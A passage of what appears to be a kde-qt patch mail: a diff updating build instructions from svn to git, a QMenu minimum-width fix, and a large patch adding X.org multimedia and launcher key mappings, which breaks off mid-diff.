+  ./configure -qt-gif -debug -fast -no-separate-debug-info \
+     -system-libpng -system-libjpeg -system-zlib \
+     -dbus -webkit -plugin-sql-mysql \
+     -nomake examples -nomake demos -prefix <installdir>
+
 --default-config-end--
 
 It contains "-debug", which greatly improves the use for backtraces (but
@@ -31,6 +24,7 @@ release mode, replace it with "-release".
 It also contains "-no-separate-debug-info", which disables separate .debug
 files. Instead, the debug information will be built into the libraries.
 This option is needed when you install Qt.
+
 If you don't install Qt, it can be useful to disable this option,
 thus having separate debug symbol files. With separate debug files, you can
 just move those debug files to another directory to remove Qt debug symbols.
@@ -41,17 +35,11 @@ In the rare case you need to step into Qt code, you can temporarily enable
 debug symbols again by moving the debug files back. You can even load the Qt
 debug symbols from within GDB on demand, using the "symbol-file" command.
 
-It also contains the "-no-exceptions" argument, which disables C++
-exception support. Disabling exception support may improve memory
-consumption if GCC is being used. However, that also disables the
-QtXmlPatterns module since that requires exception support. If you
-plan on using that module, remove the option.
-
 If you are planning to compile Qt using an Icecream cluster you have to
 pass the option -no-pch (no precompiled headers) to configure to make
 distributed compilation work.
 
-3. Compiling Qt
+2. Compiling Qt
 ===============
 
 To compile Qt on a Unix platform, run:
@@ -65,34 +53,49 @@ increasing the "2" above. If you've got a compile farm available, you
 should adjust the -j argument to match the number of slots in that
 farm.
 
-4. Modifying & rebuilding Qt
+3. Modifying & rebuilding Qt
 ============================
 
 If you make modifications to the Qt source code, you don't need to
 build everything again. Simply go to the directory containing the
 Makefile closest to the files you changed and run "make" again.
 
-For example, if you modified src/corelib/io/qiodevice.cpp, do:
+For example, if you've modified src/corelib/io/qiodevice.cpp, do:
 
    cd src/corelib
    make
 
-Do not commit your modifications to qt-copy as such. If you have a fix
-that benefit others, see the "Creating Qt-copy patches" section below.
+If you make a change that is not temporary, you should create a Git
+commit out of it. However, you shouldn't push those changes to
+kde-qt.git. If you have a fix that benefit others, see the "Creating
+kde-qt.git modifications" section below.
 
-5. Building Qt examples and demos
+4. Building Qt examples and demos
 =================================
 
 The "-nomake examples -nomake demos" arguments to the configure script
-mean that those two sections will not be configured for
-building. Which is unneeded for usage of the library.  If you want to
-compile the examples or demos later; just enter either directory and
-type:
+mean that those two sections will not be configured for building,
+which is unneeded for usage of the library.  If you want to compile
+the examples or demos later, just enter either directory and type:
 
    qmake
    make
 
-6. Building Qt documentation (only applies to Snapshot versions of Qt)
+5. Build Qt tests
+=================
+
+(Official information: http://qt.gitorious.org/qt/pages/QtAutotestsEnvironment)
+
+In order to run Qt tests, you must have a "developer build" of Qt. For
+that, you need to reconfigure Qt and add the "-developer-build"
+option. That option is technically equivalent to the options:
+
+   -debug -prefix $PWD -DQT_BUILD_INTERNAL
+
+To run a test, go to its source dir in tests/auto/testname. Type
+"make" to build it, then run it (either ./tst_testname, or "make install").
+
+6. Building Qt documentation
 ============================
 
 To build and install the documentation, run:
@@ -119,21 +122,25 @@ Attention: DO NOT run
 If you do, Qt will overwrite your include/ directory with its
 installation.
 
-8. Creating Qt-copy patches
-===========================
+8. Creating kde-qt.git modifications
+====================================
 
 If you have fixed a bug in Qt or modified it in any way that may
 benefit others, please share your change in the form of a patch. Do
-not commit your changes directly to the qt-copy module because they
+not commit your changes directly to the main branch because they
 may be lost in a future update if they have not been added to the
 official Qt release.
 
 The exception to the above rule is that if the fix has been accepted
-by Qt Software (and so will appear in the next release of Qt), then
-it can be applied directly to qt-copy.  In this case, the patch
-should still be placed in patches/ as usual, but it should have a
-header line
-    Applied: yes
+by Qt Software (and so will appear in the very next release of Qt),
+then it should be simply cherry-picked from the Qt development
+branch. Note that you shouldn't do this for changes that have been
+accepted into a release which is not the very next.
+In this case, you should use the following command:
+
+   git cherry-pick -x SHA1_OF_THE_FIX
+where SHA1_OF_THE_FIX is the SHA-1 of the commit that you want to
+introduce. Then push the change to the server.
 
 Before creating a patch, it is recommended to contact Qt Software
 support via qt-bugs at trolltech.com and explain the situation. There may
@@ -141,37 +148,42 @@ be a solution for the problem already or a new direction that should
 be accounted for.
 
 To create a patch, do the following:
-  a) make sure your Qt sources are clean of other changes. Run:
-     svn revert -R .
-  b) make your changes to the Qt source code and verify that it
-  compiles, links and works.
-  c) open the patches/README file and get the next patch number
-  (you must read and understand the README file; if you don't, ask for
-  help from other KDE developers)
-  d) create the patch with:
-     svn diff > patches/NNNN-short-description-of-your-patch.diff
-  where NNNN is the next available number.
-  e) open the file you've just created and add the header to it. The
-  header should be the template in patches/README followed by a longer
-  description of your patch.
-
-Don't forget to submit your patch to qt-bugs at trolltech.com along with
-the long description of the issue found, if you haven't already.
-Qt Software does not monitor the patches/ directory, so qt-copy
-patches do not get automatically applied to Qt official releases.
-
-When you receive the issue number and task tracker numbers, update the
-patch file.
-
-9. Known issues with current Qt code
-====================================
-
-In case you have strange issues with non-resizing windows and similar, use
-   export QT_USE_NATIVE_WINDOWS=1
-before starting KDE.
-
-10. Troubleshooting: Re-configuring and re-compiling
-===================================================
+  a) look at the listing of branches in
+  http://qt.gitorious.org/+kde-developers/qt/kde-qt/commits/HEAD and
+  select the next number.
+
+  b) create a new branch out of a clean, released version of Qt, (for
+  example, 4.5.1), using the number above and a brief description of
+  your fix. For example:
+      git checkout -b patches/0180-window-role v4.5.1
+  You can see the available released versions of Qt with:
+      git tag
+
+  c) make your changes to the Qt source code and verify that it
+  compiles, links and works (please run the respective unit tests).
+
+  c) commit your changes to Git, using the "git commit" command. Please
+  see http://qt.gitorious.org/qt/pages/GitIntroductionWithQt and
+  http://qt.gitorious.org/qt/pages/QtCodingStyle for information on
+  how to create commits
+  Note that you can create multiple commits.
+
+  e) merge the change to the main branch, for example, 4.5.1-patched:
+      git checkout 4.5.1-patched
+      git merge patches/0180-window-role
+
+  f) push the changes you made to your branch and to the main server:
+      git push git at gitorious.org:qt/kde-qt.git 4.5.1-patched patches/0180-window-role
+  (Don't forget to list both branch names)
+
+Don't forget to submit your patch to using the Qt Contribution Model,
+along with the long description of the issue found. See
+http://qt.gitorious.org/qt/pages/QtContributionGuidelines for
+information how. You can submit the branch you've just sent to the
+server.
+
+9. Troubleshooting: Re-configuring and re-compiling
+==================================================
 
 For those updating the source in a directory where Qt has already
 been compiled, you may need to run the following commands from the
@@ -185,4 +197,5 @@ Sometimes ./configure will refuse to run.  You may need to:
 If you think you may have run "make install" on an install-less Qt
 (srcdir == $QTDIR), run:
 
-	svn revert -R include
+	rm -rf include
+	bin/syncqt
-- 
1.6.2.5


0015-Make-QMenu-respect-the-minimum-width-set.patch:
 qmenu.cpp |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

--- NEW FILE 0015-Make-QMenu-respect-the-minimum-width-set.patch ---
>From 01f26d0756839fbe783c637ca7dec5b7987f7e14 Mon Sep 17 00:00:00 2001
From: Aaron Seigo <aseigo at kde.org>
Date: Mon, 27 Jul 2009 21:46:22 -0600
Subject: [PATCH 15/18] Make QMenu respect the minimum width set

If one sets a minimum width on a QMenu and that size is larger than the
smallest size needed by the large menu item, it ignores the minimum
width and just uses the largest menu item size.

This results in ugly painting artifacts. This currently affects
(at least) the tasks widget in Plasma in KDE4.
---
 src/gui/widgets/qmenu.cpp |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/src/gui/widgets/qmenu.cpp b/src/gui/widgets/qmenu.cpp
index 9fbbb04..5d62ea6 100644
--- a/src/gui/widgets/qmenu.cpp
+++ b/src/gui/widgets/qmenu.cpp
@@ -280,7 +280,7 @@ void QMenuPrivate::calcActionRects(QMap<QAction*, QRect> &actionRects, QList<QAc
 
 
         if (!sz.isEmpty()) {
-            max_column_width = qMax(max_column_width, sz.width());
+            max_column_width = qMax(q->minimumWidth(), qMax(max_column_width, sz.width()));
             //wrapping
             if (!scroll &&
                y+sz.height()+vmargin > dh - (q->style()->pixelMetric(QStyle::PM_MenuDesktopFrameWidth, 0, q) * 2)) {
-- 
1.6.2.5


0016-Fill-gap-of-X.org-XFree-multimedia-special-launcher.patch:
 corelib/global/qnamespace.h   |   97 +++++++++++++-
 gui/kernel/qkeymapper_x11.cpp |  286 ++++++++++++++++++++++++++++++++++--------
 gui/kernel/qkeysequence.cpp   |  175 +++++++++++++++++++------
 3 files changed, 461 insertions(+), 97 deletions(-)

--- NEW FILE 0016-Fill-gap-of-X.org-XFree-multimedia-special-launcher.patch ---
>From 1a94cd7b132497f70a2b97ec2b58f6e2b1c5076a Mon Sep 17 00:00:00 2001
From: Helio Chissini de Castro <helio at kde.org>
Date: Fri, 10 Jul 2009 16:00:13 -0300
Subject: [PATCH 16/18] Fill gap of X.org/XFree multimedia/special/launcher keys
 Qt up to 4.5.x is missing whole setup of multimedia keys already defined by X

---
 src/corelib/global/qnamespace.h   |   97 ++++++++++++-
 src/gui/kernel/qkeymapper_x11.cpp |  286 ++++++++++++++++++++++++++++++-------
 src/gui/kernel/qkeysequence.cpp   |  174 +++++++++++++++++------
 3 files changed, 461 insertions(+), 96 deletions(-)

diff --git a/src/corelib/global/qnamespace.h b/src/corelib/global/qnamespace.h
index 3edbca7..ddf27a8 100644
--- a/src/corelib/global/qnamespace.h
+++ b/src/corelib/global/qnamespace.h
@@ -895,12 +895,10 @@ public:
         Key_Dead_Horn           = 0x01001262,
 
         // multimedia/internet keys - ignored by default - see QKeyEvent c'tor
-
         Key_Back  = 0x01000061,
         Key_Forward  = 0x01000062,
         Key_Stop  = 0x01000063,
         Key_Refresh  = 0x01000064,
-
         Key_VolumeDown = 0x01000070,
         Key_VolumeMute  = 0x01000071,
         Key_VolumeUp = 0x01000072,
@@ -909,7 +907,6 @@ public:
         Key_BassDown = 0x01000075,
         Key_TrebleUp = 0x01000076,
         Key_TrebleDown = 0x01000077,
-
         Key_MediaPlay  = 0x01000080,
         Key_MediaStop  = 0x01000081,
         Key_MediaPrevious  = 0x01000082,
@@ -918,13 +915,11 @@ public:
 #endif
         Key_MediaNext  = 0x01000083,
         Key_MediaRecord = 0x01000084,
-
         Key_HomePage  = 0x01000090,
         Key_Favorites  = 0x01000091,
         Key_Search  = 0x01000092,
         Key_Standby = 0x01000093,
         Key_OpenUrl = 0x01000094,
-
         Key_LaunchMail  = 0x010000a0,
         Key_LaunchMedia = 0x010000a1,
         Key_Launch0  = 0x010000a2,
@@ -943,6 +938,98 @@ public:
         Key_LaunchD  = 0x010000af,
         Key_LaunchE  = 0x010000b0,
         Key_LaunchF  = 0x010000b1,
+        Key_MonBrightnessUp = 0x010000b2,
+        Key_MonBrightnessDown = 0x010000b3,
+        Key_KeyboardLightOnOff = 0x010000b4,
+        Key_KeyboardBrightnessUp = 0x010000b5,
+        Key_KeyboardBrightnessDown = 0x010000b6,
+        Key_PowerOff = 0x010000b7,
+        Key_WakeUp = 0x010000b8,
+        Key_Eject = 0x010000b9,
+        Key_ScreenSaver = 0x010000ba,
+        Key_WWW = 0x010000bb,
+        Key_Memo = 0x010000bc,
+        Key_LightBulb = 0x010000bd,
+        Key_Shop = 0x010000be,
+        Key_History = 0x010000bf,
+        Key_AddFavorite = 0x010000c0,
+        Key_HotLinks = 0x010000c1,
+        Key_BrightnessAdjust = 0x010000c2,
+        Key_Finance = 0x010000c3,
+        Key_Community = 0x010000c4,
+        Key_AudioRewind = 0x010000c5,
+        Key_BackForward = 0x010000c6,
+        Key_ApplicationLeft = 0x010000c7,
+        Key_ApplicationRight = 0x010000c8,
+        Key_Book = 0x010000c9,
+        Key_CD = 0x010000ca,
+        Key_Calculator = 0x010000cb,
+        Key_ToDoList = 0x010000cc,
+        Key_ClearGrab = 0x010000cd,
+        Key_Close = 0x010000ce,
+        Key_Copy = 0x010000cf,
+        Key_Cut = 0x010000d0,
+        Key_Display = 0x010000d1,
+        Key_DOS = 0x010000d2,
+        Key_Documents = 0x010000d3,
+        Key_Excel = 0x010000d4,
+        Key_Explorer = 0x010000d5,
+        Key_Game = 0x010000d6,
+        Key_Go = 0x010000d7,
+        Key_iTouch = 0x010000d8,
+        Key_LogOff = 0x010000d9,
+        Key_Market = 0x010000da,
+        Key_Meeting = 0x010000db,
+        Key_MenuKB = 0x010000dc,
+        Key_MenuPB = 0x010000dd,
+        Key_MySites = 0x010000de,
+        Key_News = 0x010000df,
+        Key_OfficeHome = 0x010000e0,
+        Key_Option = 0x010000e1,
+        Key_Paste = 0x010000e2,
+        Key_Phone = 0x010000e3,
+        Key_Calendar = 0x010000e4,
+        Key_Reply = 0x010000e5,
+        Key_Reload = 0x010000e6,
+        Key_RotateWindows = 0x010000e7,
+        Key_RotationPB = 0x010000e8,
+        Key_RotationKB = 0x010000e9,
+        Key_Save = 0x010000ea,
+        Key_Send = 0x010000eb,
+        Key_Spell = 0x010000ec,
+        Key_SplitScreen = 0x010000ed,
+        Key_Support = 0x010000ee,
+        Key_TaskPane = 0x010000ef,
+        Key_Terminal = 0x010000f0,
+        Key_Tools = 0x010000f1,
+        Key_Travel = 0x010000f2,
+        Key_Video = 0x010000f3,
+        Key_Word = 0x010000f4,
+        Key_Xfer = 0x010000f5,
+        Key_ZoomIn = 0x010000f6,
+        Key_ZoomOut = 0x010000f7,
+        Key_Away = 0x010000f8,
+        Key_Messenger = 0x010000f9,
+        Key_WebCam = 0x010000fa,
+        Key_MailForward = 0x010000fb,
+        Key_Pictures = 0x010000fc,
+        Key_Music = 0x010000fd,
+        Key_Battery = 0x010000fe,
+        Key_Bluetooth = 0x010000ff,
+        Key_WLAN = 0x01000100,
+        Key_UWB = 0x01000101,
+        Key_AudioForward = 0x01000102,
+        Key_AudioRepeat = 0x01000103,
+        Key_AudioRandomPlay = 0x01000104,
+        Key_Subtitle = 0x01000105,
+        Key_AudioCycleTrack = 0x01000106,
+        Key_Time = 0x01000107,
+        Key_Hibernate = 0x01000108,
+        Key_View = 0x01000109,
+        Key_TopMenu = 0x0100010a,
+        Key_PowerDown = 0x0100010b,
+        Key_Suspend = 0x0100010c,
+        Key_ContrastAdjust = 0x0100010d,
 
         Key_MediaLast = 0x0100ffff,
 
diff --git a/src/gui/kernel/qkeymapper_x11.cpp b/src/gui/kernel/qkeymapper_x11.cpp
index 98ed61c..f55b491 100644
--- a/src/gui/kernel/qkeymapper_x11.cpp
+++ b/src/gui/kernel/qkeymapper_x11.cpp
@@ -714,47 +714,144 @@ extern bool qt_sm_blockUserInput;
 #define XK_KP_Delete            0xFF9F
 #endif
 
-// the next lines are taken from XFree > 4.0 (X11/XF86keysyms.h), defining some special
+// the next lines are taken on 10/2009 from X.org (X11/XF86keysym.h), defining some special
 // multimedia keys. They are included here as not every system has them.
-#define XF86XK_Standby          0x1008FF10
-#define XF86XK_AudioLowerVolume 0x1008FF11
-#define XF86XK_AudioMute        0x1008FF12
-#define XF86XK_AudioRaiseVolume 0x1008FF13
-#define XF86XK_AudioPlay        0x1008FF14
-#define XF86XK_AudioStop        0x1008FF15
-#define XF86XK_AudioPrev        0x1008FF16
-#define XF86XK_AudioNext        0x1008FF17
-#define XF86XK_HomePage         0x1008FF18
-#define XF86XK_Calculator       0x1008FF1D
-#define XF86XK_Mail             0x1008FF19
-#define XF86XK_Start            0x1008FF1A
-#define XF86XK_Search           0x1008FF1B
-#define XF86XK_AudioRecord      0x1008FF1C
-#define XF86XK_Back             0x1008FF26
-#define XF86XK_Forward          0x1008FF27
-#define XF86XK_Stop             0x1008FF28
-#define XF86XK_Refresh          0x1008FF29
-#define XF86XK_Favorites        0x1008FF30
-#define XF86XK_AudioPause       0x1008FF31
-#define XF86XK_AudioMedia       0x1008FF32
-#define XF86XK_MyComputer       0x1008FF33
-#define XF86XK_OpenURL          0x1008FF38
-#define XF86XK_Launch0          0x1008FF40
-#define XF86XK_Launch1          0x1008FF41
-#define XF86XK_Launch2          0x1008FF42
-#define XF86XK_Launch3          0x1008FF43
-#define XF86XK_Launch4          0x1008FF44
-#define XF86XK_Launch5          0x1008FF45
-#define XF86XK_Launch6          0x1008FF46
-#define XF86XK_Launch7          0x1008FF47
-#define XF86XK_Launch8          0x1008FF48
-#define XF86XK_Launch9          0x1008FF49
-#define XF86XK_LaunchA          0x1008FF4A
-#define XF86XK_LaunchB          0x1008FF4B
-#define XF86XK_LaunchC          0x1008FF4C
-#define XF86XK_LaunchD          0x1008FF4D
-#define XF86XK_LaunchE          0x1008FF4E
-#define XF86XK_LaunchF          0x1008FF4F
+#define XF86XK_MonBrightnessUp     0x1008FF02
+#define XF86XK_MonBrightnessDown   0x1008FF03
+#define XF86XK_KbdLightOnOff       0x1008FF04
+#define XF86XK_KbdBrightnessUp     0x1008FF05
+#define XF86XK_KbdBrightnessDown   0x1008FF06
+#define XF86XK_Standby             0x1008FF10
+#define XF86XK_AudioLowerVolume	   0x1008FF11
+#define XF86XK_AudioMute           0x1008FF12
+#define XF86XK_AudioRaiseVolume    0x1008FF13
+#define XF86XK_AudioPlay           0x1008FF14
+#define XF86XK_AudioStop           0x1008FF15
+#define XF86XK_AudioPrev           0x1008FF16
+#define XF86XK_AudioNext           0x1008FF17
+#define XF86XK_HomePage            0x1008FF18
+#define XF86XK_Mail                0x1008FF19
+#define XF86XK_Start               0x1008FF1A
+#define XF86XK_Search              0x1008FF1B
+#define XF86XK_AudioRecord         0x1008FF1C
+#define XF86XK_Calculator          0x1008FF1D
+#define XF86XK_Memo                0x1008FF1E
+#define XF86XK_ToDoList            0x1008FF1F
+#define XF86XK_Calendar            0x1008FF20
+#define XF86XK_PowerDown           0x1008FF21
+#define XF86XK_ContrastAdjust      0x1008FF22
+#define XF86XK_Back                0x1008FF26
+#define XF86XK_Forward             0x1008FF27
+#define XF86XK_Stop                0x1008FF28
+#define XF86XK_Refresh             0x1008FF29
+#define XF86XK_PowerOff            0x1008FF2A
+#define XF86XK_WakeUp              0x1008FF2B
+#define XF86XK_Eject               0x1008FF2C
+#define XF86XK_ScreenSaver         0x1008FF2D
+#define XF86XK_WWW                 0x1008FF2E
+#define XF86XK_Sleep               0x1008FF2F
+#define XF86XK_Favorites           0x1008FF30
+#define XF86XK_AudioPause          0x1008FF31
+#define XF86XK_AudioMedia          0x1008FF32
+#define XF86XK_MyComputer          0x1008FF33
+#define XF86XK_LightBulb           0x1008FF35
+#define XF86XK_Shop                0x1008FF36
+#define XF86XK_History             0x1008FF37
+#define XF86XK_OpenURL             0x1008FF38
+#define XF86XK_AddFavorite         0x1008FF39
+#define XF86XK_HotLinks            0x1008FF3A
+#define XF86XK_BrightnessAdjust    0x1008FF3B
+#define XF86XK_Finance             0x1008FF3C
+#define XF86XK_Community           0x1008FF3D
+#define XF86XK_AudioRewind         0x1008FF3E
+#define XF86XK_BackForward         0x1008FF3F
+#define XF86XK_Launch0             0x1008FF40
+#define XF86XK_Launch1             0x1008FF41
+#define XF86XK_Launch2             0x1008FF42
+#define XF86XK_Launch3             0x1008FF43
+#define XF86XK_Launch4             0x1008FF44
+#define XF86XK_Launch5             0x1008FF45
+#define XF86XK_Launch6             0x1008FF46
+#define XF86XK_Launch7             0x1008FF47
+#define XF86XK_Launch8             0x1008FF48
+#define XF86XK_Launch9             0x1008FF49
+#define XF86XK_LaunchA             0x1008FF4A
+#define XF86XK_LaunchB             0x1008FF4B
+#define XF86XK_LaunchC             0x1008FF4C
+#define XF86XK_LaunchD             0x1008FF4D
+#define XF86XK_LaunchE             0x1008FF4E
+#define XF86XK_LaunchF             0x1008FF4F
+#define XF86XK_ApplicationLeft     0x1008FF50
+#define XF86XK_ApplicationRight    0x1008FF51
+#define XF86XK_Book                0x1008FF52
+#define XF86XK_CD                  0x1008FF53
+#define XF86XK_Calculater          0x1008FF54
+#define XF86XK_Clear               0x1008FF55
+#define XF86XK_ClearGrab           0x1008FE21
+#define XF86XK_Close               0x1008FF56
+#define XF86XK_Copy                0x1008FF57
+#define XF86XK_Cut                 0x1008FF58
+#define XF86XK_Display             0x1008FF59
+#define XF86XK_DOS                 0x1008FF5A
+#define XF86XK_Documents           0x1008FF5B
+#define XF86XK_Excel               0x1008FF5C
+#define XF86XK_Explorer            0x1008FF5D
+#define XF86XK_Game                0x1008FF5E
+#define XF86XK_Go                  0x1008FF5F
+#define XF86XK_iTouch              0x1008FF60
+#define XF86XK_LogOff              0x1008FF61
+#define XF86XK_Market              0x1008FF62
+#define XF86XK_Meeting             0x1008FF63
+#define XF86XK_MenuKB              0x1008FF65
+#define XF86XK_MenuPB              0x1008FF66
+#define XF86XK_MySites             0x1008FF67
+#define XF86XK_News                0x1008FF69
+#define XF86XK_OfficeHome          0x1008FF6A
+#define XF86XK_Option              0x1008FF6C
+#define XF86XK_Paste               0x1008FF6D
+#define XF86XK_Phone               0x1008FF6E
+#define XF86XK_Reply               0x1008FF72
+#define XF86XK_Reload              0x1008FF73
+#define XF86XK_RotateWindows       0x1008FF74
+#define XF86XK_RotationPB          0x1008FF75
+#define XF86XK_RotationKB          0x1008FF76
+#define XF86XK_Save                0x1008FF77
+#define XF86XK_Send                0x1008FF7B
+#define XF86XK_Spell               0x1008FF7C
+#define XF86XK_SplitScreen         0x1008FF7D
+#define XF86XK_Support             0x1008FF7E
+#define XF86XK_TaskPane            0x1008FF7F
+#define XF86XK_Terminal            0x1008FF80
+#define XF86XK_Tools               0x1008FF81
+#define XF86XK_Travel              0x1008FF82
+#define XF86XK_Video               0x1008FF87
+#define XF86XK_Word                0x1008FF89
+#define XF86XK_Xfer                0x1008FF8A
+#define XF86XK_ZoomIn              0x1008FF8B
+#define XF86XK_ZoomOut             0x1008FF8C
+#define XF86XK_Away                0x1008FF8D
+#define XF86XK_Messenger           0x1008FF8E
+#define XF86XK_WebCam              0x1008FF8F
+#define XF86XK_MailForward         0x1008FF90
+#define XF86XK_Pictures            0x1008FF91
+#define XF86XK_Music               0x1008FF92
+#define XF86XK_Battery             0x1008FF93
+#define XF86XK_Bluetooth           0x1008FF94
+#define XF86XK_WLAN                0x1008FF95
+#define XF86XK_UWB                 0x1008FF96
+#define XF86XK_AudioForward        0x1008FF97
+#define XF86XK_AudioRepeat         0x1008FF98
+#define XF86XK_AudioRandomPlay     0x1008FF99
+#define XF86XK_Subtitle            0x1008FF9A
+#define XF86XK_AudioCycleTrack     0x1008FF9B
+#define XF86XK_Time                0x1008FF9F
+#define XF86XK_Select              0x1008FFA0
+#define XF86XK_View                0x1008FFA1
+#define XF86XK_TopMenu             0x1008FFA2
+#define XF86XK_Suspend             0x1008FFA7
+#define XF86XK_Hibernate           0x1008FFA8
+
+
 // end of XF86keysyms.h
 
 // Special keys used by Qtopia, mapped into the X11 private keypad range.
@@ -942,10 +1039,8 @@ static const unsigned int KeyTbl[] = {
     XK_dead_hook,               Qt::Key_Dead_Hook,
     XK_dead_horn,               Qt::Key_Dead_Horn,
 
-    // Special multimedia keys
-    // currently only tested with MS internet keyboard
-
-    // browsing keys
+    // Special keys from X.org - This include multimedia keys,
+	// wireless/bluetooth/uwb keys, special launcher keys, etc.
     XF86XK_Back,                Qt::Key_Back,
     XF86XK_Forward,             Qt::Key_Forward,
     XF86XK_Stop,                Qt::Key_Stop,
@@ -955,8 +1050,6 @@ static const unsigned int KeyTbl[] = {
     XF86XK_OpenURL,             Qt::Key_OpenUrl,
     XF86XK_HomePage,            Qt::Key_HomePage,
     XF86XK_Search,              Qt::Key_Search,
-
-    // media keys
     XF86XK_AudioLowerVolume,    Qt::Key_VolumeDown,
     XF86XK_AudioMute,           Qt::Key_VolumeMute,
     XF86XK_AudioRaiseVolume,    Qt::Key_VolumeUp,
@@ -965,13 +1058,106 @@ static const unsigned int KeyTbl[] = {
     XF86XK_AudioPrev,           Qt::Key_MediaPrevious,
     XF86XK_AudioNext,           Qt::Key_MediaNext,
     XF86XK_AudioRecord,         Qt::Key_MediaRecord,
-
-    // launch keys
     XF86XK_Mail,                Qt::Key_LaunchMail,
     XF86XK_MyComputer,          Qt::Key_Launch0,
-    XF86XK_Calculator,          Qt::Key_Launch1,
+    XF86XK_Calculator,          Qt::Key_Calculator,
+    XF86XK_Memo,                Qt::Key_Memo,
+    XF86XK_ToDoList,            Qt::Key_ToDoList,
+    XF86XK_Calendar,            Qt::Key_Calendar,
+    XF86XK_PowerDown,           Qt::Key_PowerDown,
+    XF86XK_ContrastAdjust,      Qt::Key_ContrastAdjust,
     XF86XK_Standby,             Qt::Key_Standby,
-
+    XF86XK_MonBrightnessUp,     Qt::Key_MonBrightnessUp,
+    XF86XK_MonBrightnessDown,   Qt::Key_MonBrightnessDown,
+    XF86XK_KbdLightOnOff,       Qt::Key_KeyboardLightOnOff,
+    XF86XK_KbdBrightnessUp,     Qt::Key_KeyboardBrightnessUp,
+    XF86XK_KbdBrightnessDown,   Qt::Key_KeyboardBrightnessDown,
+    XF86XK_PowerOff,            Qt::Key_PowerOff,
+    XF86XK_WakeUp,              Qt::Key_WakeUp,
+    XF86XK_Eject,               Qt::Key_Eject,
+    XF86XK_ScreenSaver,         Qt::Key_ScreenSaver,
+    XF86XK_WWW,                 Qt::Key_WWW,
+    XF86XK_Sleep,               Qt::Key_Sleep,
+    XF86XK_LightBulb,           Qt::Key_LightBulb,
+    XF86XK_Shop,                Qt::Key_Shop,
+    XF86XK_History,             Qt::Key_History,
+    XF86XK_AddFavorite,         Qt::Key_AddFavorite,
+    XF86XK_HotLinks,            Qt::Key_HotLinks,
+    XF86XK_BrightnessAdjust,    Qt::Key_BrightnessAdjust,
+    XF86XK_Finance,             Qt::Key_Finance,
+    XF86XK_Community,           Qt::Key_Community,
+    XF86XK_AudioRewind,         Qt::Key_AudioRewind,
+    XF86XK_BackForward,         Qt::Key_BackForward,
+    XF86XK_ApplicationLeft,     Qt::Key_ApplicationLeft,
+    XF86XK_ApplicationRight,    Qt::Key_ApplicationRight,
+    XF86XK_Book,                Qt::Key_Book,
+    XF86XK_CD,                  Qt::Key_CD,
+    XF86XK_Calculater,          Qt::Key_Calculator,
+    XF86XK_Clear,               Qt::Key_Clear,
+    XF86XK_ClearGrab,           Qt::Key_ClearGrab,
+    XF86XK_Close,               Qt::Key_Close,
+    XF86XK_Copy,                Qt::Key_Copy,
+    XF86XK_Cut,                 Qt::Key_Cut,
+    XF86XK_Display,             Qt::Key_Display,
+    XF86XK_DOS,                 Qt::Key_DOS,
+    XF86XK_Documents,           Qt::Key_Documents,
+    XF86XK_Excel,               Qt::Key_Excel,
+    XF86XK_Explorer,            Qt::Key_Explorer,
+    XF86XK_Game,                Qt::Key_Game,
+    XF86XK_Go,                  Qt::Key_Go,
+    XF86XK_iTouch,              Qt::Key_iTouch,
+    XF86XK_LogOff,              Qt::Key_LogOff,
+    XF86XK_Market,              Qt::Key_Market,
+    XF86XK_Meeting,             Qt::Key_Meeting,
+    XF86XK_MenuKB,              Qt::Key_MenuKB,
+    XF86XK_MenuPB,              Qt::Key_MenuPB,
+    XF86XK_MySites,             Qt::Key_MySites,
+    XF86XK_News,                Qt::Key_News,
+    XF86XK_OfficeHome,          Qt::Key_OfficeHome,
+    XF86XK_Option,              Qt::Key_Option,
+    XF86XK_Paste,               Qt::Key_Paste,
+    XF86XK_Phone,               Qt::Key_Phone,
+    XF86XK_Reply,               Qt::Key_Reply,
+    XF86XK_Reload,              Qt::Key_Reload,
+    XF86XK_RotateWindows,       Qt::Key_RotateWindows,
+    XF86XK_RotationPB,          Qt::Key_RotationPB,
+    XF86XK_RotationKB,          Qt::Key_RotationKB,
+    XF86XK_Save,                Qt::Key_Save,
+    XF86XK_Send,                Qt::Key_Send,
+    XF86XK_Spell,               Qt::Key_Spell,
+    XF86XK_SplitScreen,         Qt::Key_SplitScreen,
+    XF86XK_Support,             Qt::Key_Support,
+    XF86XK_TaskPane,            Qt::Key_TaskPane,
+    XF86XK_Terminal,            Qt::Key_Terminal,
+    XF86XK_Tools,               Qt::Key_Tools,
+    XF86XK_Travel,              Qt::Key_Travel,
+    XF86XK_Video,               Qt::Key_Video,
+    XF86XK_Word,                Qt::Key_Word,
+    XF86XK_Xfer,                Qt::Key_Xfer,
+    XF86XK_ZoomIn,              Qt::Key_ZoomIn,
+    XF86XK_ZoomOut,             Qt::Key_ZoomOut,
+    XF86XK_Away,                Qt::Key_Away,
+    XF86XK_Messenger,           Qt::Key_Messenger,
+    XF86XK_WebCam,              Qt::Key_WebCam,
+    XF86XK_MailForward,         Qt::Key_MailForward,
+    XF86XK_Pictures,            Qt::Key_Pictures,
+    XF86XK_Music,               Qt::Key_Music,
+    XF86XK_Battery,             Qt::Key_Battery,
+    XF86XK_Bluetooth,           Qt::Key_Bluetooth,
+    XF86XK_WLAN,                Qt::Key_WLAN,
+    XF86XK_UWB,                 Qt::Key_UWB,
+    XF86XK_AudioForward,        Qt::Key_AudioForward,
+    XF86XK_AudioRepeat,         Qt::Key_AudioRepeat,
+    XF86XK_AudioRandomPlay,     Qt::Key_AudioRandomPlay,
+    XF86XK_Subtitle,            Qt::Key_Subtitle,
+    XF86XK_AudioCycleTrack,     Qt::Key_AudioCycleTrack,
+    XF86XK_Time,                Qt::Key_Time,
+    XF86XK_Select,              Qt::Key_Select,
+    XF86XK_View,                Qt::Key_View,
+    XF86XK_TopMenu,             Qt::Key_TopMenu,
+    XF86XK_Bluetooth,           Qt::Key_Bluetooth,
+    XF86XK_Suspend,             Qt::Key_Suspend,
+    XF86XK_Hibernate,           Qt::Key_Hibernate,
     XF86XK_Launch0,             Qt::Key_Launch2,
     XF86XK_Launch1,             Qt::Key_Launch3,
     XF86XK_Launch2,             Qt::Key_Launch4,
diff --git a/src/gui/kernel/qkeysequence.cpp b/src/gui/kernel/qkeysequence.cpp
index 894f663..665c058 100644
--- a/src/gui/kernel/qkeysequence.cpp
+++ b/src/gui/kernel/qkeysequence.cpp
@@ -396,47 +396,139 @@ static const struct {
     { Qt::Key_Menu,         QT_TRANSLATE_NOOP("QShortcut", "Menu") },
     { Qt::Key_Help,         QT_TRANSLATE_NOOP("QShortcut", "Help") },
 
